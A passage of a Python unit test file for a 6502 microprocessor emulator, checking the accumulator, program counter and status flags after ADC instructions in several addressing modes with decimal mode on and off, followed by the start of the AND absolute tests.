self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_immediate_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC #$01 self._write(mpu.memory, 0x000, (0x69, 0x01)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_immediate_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC #$FF self._write(mpu.memory, 0x000, (0x69, 0xff)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_immediate_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f # $0000 ADC #$01 self._write(mpu.memory, 0x000, (0x69, 0x01)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_immediate_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 # $0000 ADC #$FF self._write(mpu.memory, 0x000, (0x69, 0xff)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_immediate_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.a = 0x40 # $0000 ADC #$40 self._write(mpu.memory, 0x0000, (0x69, 0x40)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_on_immediate_79_plus_00_carry_set(self): mpu = self._make_mpu() mpu.p |= mpu.DECIMAL mpu.p |= mpu.CARRY mpu.a = 0x79 # $0000 ADC #$00 self._write(mpu.memory, 0x0000, (0x69, 0x00)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.CARRY) def test_adc_bcd_on_immediate_6f_plus_00_carry_set(self): mpu = self._make_mpu() mpu.p |= mpu.DECIMAL mpu.p |= mpu.CARRY mpu.a = 0x6f # $0000 ADC #$00 self._write(mpu.memory, 0x0000, (0x69, 0x00)) mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x76, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.CARRY) def test_adc_bcd_on_immediate_9c_plus_9d(self): mpu = self._make_mpu() mpu.p |= mpu.DECIMAL mpu.p &= ~(mpu.CARRY) mpu.a = 0x9c # $0000 ADC #$9d # $0002 ADC #$9d self._write(mpu.memory, 0x0000, (0x69, 0x9d)) self._write(mpu.memory, 0x0002, (0x69, 0x9d)) mpu.step() self.assertEqual(0x9f, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) mpu.step() self.assertEqual(0x0004, mpu.pc) self.assertEqual(0x93, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) # ADC Absolute, X-Indexed def test_adc_bcd_off_abs_x_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.x = 0x03 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_abs_x_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.x = 0x03 mpu.p |= mpu.CARRY # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_abs_x_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0xFE mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_abs_x_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 mpu.x = 0x03 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_abs_x_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_x_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0xff mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_x_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_x_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0xff mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_x_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.a = 0x40 mpu.x = 0x03 # $0000 ADC $C000,X self._write(mpu.memory, 0x0000, (0x7D, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.x] = 0x40 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # ADC Absolute, Y-Indexed def test_adc_bcd_off_abs_y_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.y = 0x03 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_abs_y_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.y = 0x03 mpu.p |= mpu.CARRY # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_abs_y_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 mpu.y = 0x03 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0xFE mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_abs_y_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 mpu.y = 0x03 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_abs_y_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_y_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_y_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0x01 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_y_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_abs_y_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.a = 0x40 mpu.y = 0x03 # $0000 ADC $C000,Y self._write(mpu.memory, 0x0000, (0x79, 0x00, 0xC0)) mpu.memory[0xC000 + mpu.y] = 0x40 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # ADC Zero Page, X-Indexed def test_adc_bcd_off_zp_x_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_zp_x_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.x = 0x03 mpu.p |= mpu.CARRY # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_zp_x_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFE mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_zp_x_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_zp_x_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_x_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_x_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_x_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0xff mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_zp_x_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.a = 0x40 mpu.x = 0x03 # $0000 ADC $0010,X self._write(mpu.memory, 0x0000, (0x75, 0x10)) mpu.memory[0x0010 + mpu.x] = 0x40 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # ADC Indirect, Indexed (X) def test_adc_bcd_off_ind_indexed_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_ind_indexed_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.x = 0x03 mpu.p |= mpu.CARRY # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_ind_indexed_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFE mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_ind_indexed_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_ind_indexed_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_ind_indexed_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_ind_indexed_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_ind_indexed_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_ind_indexed_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.a = 0x40 mpu.x = 0x03 # $0000 ADC ($0010,X) # $0013 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x61, 0x10)) self._write(mpu.memory, 0x0013, (0xCD, 0xAB)) mpu.memory[0xABCD] = 0x40 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # ADC Indexed, Indirect (Y) def test_adc_bcd_off_indexed_ind_carry_clear_in_accumulator_zeroes(self): mpu = self._make_mpu() mpu.a = 0x00 mpu.y = 0x03 # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) def test_adc_bcd_off_indexed_ind_carry_set_in_accumulator_zero(self): mpu = self._make_mpu() mpu.a = 0 mpu.y = 0x03 mpu.p |= mpu.CARRY # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x00 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) self.assertNotEqual(mpu.CARRY, mpu.p & mpu.CARRY) def test_adc_bcd_off_indexed_ind_carry_clear_in_no_carry_clear_out(self): mpu = self._make_mpu() mpu.a = 0x01 mpu.y = 0x03 # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xFE mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0xFF, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_indexed_ind_carry_clear_in_carry_set_out(self): mpu = self._make_mpu() mpu.a = 0x02 mpu.y = 0x03 # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x01, mpu.a) self.assertEqual(mpu.CARRY, mpu.p & mpu.CARRY) self.assertEqual(0, mpu.p & mpu.NEGATIVE) self.assertEqual(0, mpu.p & mpu.ZERO) def test_adc_bcd_off_indexed_ind_overflow_clr_no_carry_01_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 mpu.y = 0x03 # $0000 $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x02, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_indexed_ind_overflow_clr_no_carry_01_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x01 mpu.y = 0x03 # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(0, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_indexed_ind_overflow_set_no_carry_7f_plus_01(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x7f mpu.y = 0x03 # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x01 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_indexed_ind_overflow_set_no_carry_80_plus_ff(self): mpu = self._make_mpu() mpu.p &= ~(mpu.CARRY) mpu.a = 0x80 mpu.y = 0x03 # $0000 $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0xFF mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x7f, mpu.a) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) def test_adc_bcd_off_indexed_ind_overflow_set_on_40_plus_40(self): mpu = self._make_mpu() mpu.p &= ~(mpu.OVERFLOW) mpu.a = 0x40 mpu.y = 0x03 # $0000 ADC ($0010),Y # $0010 Vector to $ABCD self._write(mpu.memory, 0x0000, (0x71, 0x10)) self._write(mpu.memory, 0x0010, (0xCD, 0xAB)) mpu.memory[0xABCD + mpu.y] = 0x40 mpu.step() self.assertEqual(0x0002, mpu.pc) self.assertEqual(0x80, mpu.a) self.assertEqual(mpu.NEGATIVE, mpu.p & mpu.NEGATIVE) self.assertEqual(mpu.OVERFLOW, mpu.p & mpu.OVERFLOW) self.assertEqual(0, mpu.p & mpu.ZERO) # AND (Absolute) def test_and_absolute_all_zeros_setting_zero_flag(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 AND $ABCD self._write(mpu.memory, 0x0000, (0x2D, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0x00 mpu.step() self.assertEqual(0x0003, mpu.pc) self.assertEqual(0x00, mpu.a) self.assertEqual(mpu.ZERO, mpu.p & mpu.ZERO) self.assertEqual(0, mpu.p & mpu.NEGATIVE) def test_and_absolute_zeros_and_ones_setting_negative_flag(self): mpu = self._make_mpu() mpu.a = 0xFF # $0000 AND $ABCD self._write(mpu.memory, 0x0000, (0x2D, 0xCD, 0xAB)) mpu.memory[0xABCD] = 0xAA mpu.step() self.assertEqual(0x0003, mpu.pc) 